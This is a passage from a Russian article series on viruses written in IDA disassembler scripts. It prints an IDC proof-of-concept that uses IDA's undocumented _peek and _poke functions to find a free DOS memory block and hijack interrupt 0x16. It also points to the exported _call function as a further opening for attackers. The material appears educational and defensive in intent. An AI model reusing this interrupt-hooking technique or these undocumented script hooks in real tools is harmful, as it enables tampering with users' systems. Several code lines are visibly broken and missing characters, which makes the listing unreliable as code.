Набор статей и руководств по дизассемблеру IDA


             

ВИРУСЫ В СКРИПТАХ IDA - часть 4


  • static MyGetByte(a)
  • {
  • return (_peek(a) & 0xFF);
  • }
  • static MyGetWord(a)
  • {
  • return MyGetByte(a)+(MyGetByte(a+1)*0x100);
  • }
  • static GetNextMCB(a)
  • {
  • a=a+ (MyGetWord(a+3) return a;
  • }
  • static GoToMCB(a)
  • {
  • if (_peek(a)!='M') return 0;
  • while(1)
  • {
  • a=GetNextMCB(a);
  • if (_peek(a)=='Z') return 1;
  • if (_peek(a)!='M') return 0;
  • }
  • }
  • static FindFirstMCB()
  • {
  • auto a;
  • a=0x0;
  • while(1)
  • if (GoToMCB(++a)) break;
  • return a;
  • }
  • static FindFreeMCB()
  • {
  • auto a;
  • a=FindFirstMCB();
  • while(MyGetWord(a+1))
  • {
  • a=GetNextMCB(a);
  • if (MyGetByte(a)=='Z') return 0;
  • }
  • return a;
  • }
  • static SaveInt0x16(a)
  • {
  • auto temp;
  • for (temp=0;temp_poke(a+temp,MyGetByte(0x16*4+temp));
  • }
  • static SetNewInt0x16(a)
  • {
  • _poke(0x16*4,a);
  • a=a>>4;
  • a=a & 0xFFF0;
  • _poke(0x16*4+1,0);
  • _poke(0x16*4+2,a);
  • a=a>>8;
  • _poke(0x16*4+3,a);
  • }
  • static CopyEject(a)
  • {
  • _poke(a,0xCF);
  • }
  • static SetOldInt0x16(a)
  • {
  • auto temp;
  • for (temp=0;temp_poke(0x16*4+temp,MyGetByte(a+temp));
  • }
  • static main()
  • {
  • auto a;
  • a=FindFreeMCB();
  • if (!a) return;
  • Message("Найден свободный блок по адресу %x \n",a);
  • if (!AskYN("NO","Сейчас будет инфицирован Ваш компутер \n Вы в самом деле хотите это сделать? Подтвердите!"))return;
  • if (!AskYN("NO","Подтвердите необходимость инфицирования еще раз!")) return;
  • SaveInt0x16(a);
  • CopyEject(a+4);
  • SetNewInt0x16(a+4);
  • AskYN("X","Поздравляем Вас с успешной активацией вируса!");
  • SetOldInt0x16(a);
  • }
  • Схематичный пример показан выше. Тело вируса в нем отсутствует, и весь смысл сводится лишь к тому, что бы передать управление процессора на команду возврата из программы 'ret'. Работать это будет исключительно в среде чистой MS-DOS (консольный режим win32 за таковой не считается) и поэтому представляет не более чем познавательный интерес.
    Но существуют экземпляры, которые функционируют и в казалось бы защищенной Windows NT. Да, выйти за пределы третьего кольца защиты там невозможно (ну будем считать, что невозможно) ввиду архитектуры самой системы, но вирусу для многих действий и третьего кольца хватит с лихвой.
    В IDA функции _peek и _poke недокументированны, но тем не менее присутствуют и являются ключевой частью ядра для собственных нужд дизассемблера. Можно ли гарантировать, что подобных "лазеек" нет в других пакетах?
    Разумеется нет! История не однократно убеждала в том, что незакрытые люки и отладочные функции явление привычное. К тому же большинство из них обнаруживаются элементарным образом. Например, если посмотреть какие функции экспортирует IDA.WLL, то среди них обнаружится не только _peek и _poke, но и даже _call! Таким образом обеспечивая всю необходимую злоумышленнику низкоуровневую работу.
    Перейдем теперь ко второй группе - существующей только в рамках одного приложения. За кажущейся внешней безопасностью такие вирусы могут нанести даже более существенный урон, ибо порча исполняемых файлов всегда может быть ликвидирована переустановкой программного обеспечения с дистрибьютивных дисков, то искажение документов пользователя часто оказывается необратимым.




    Содержание  Назад  Вперед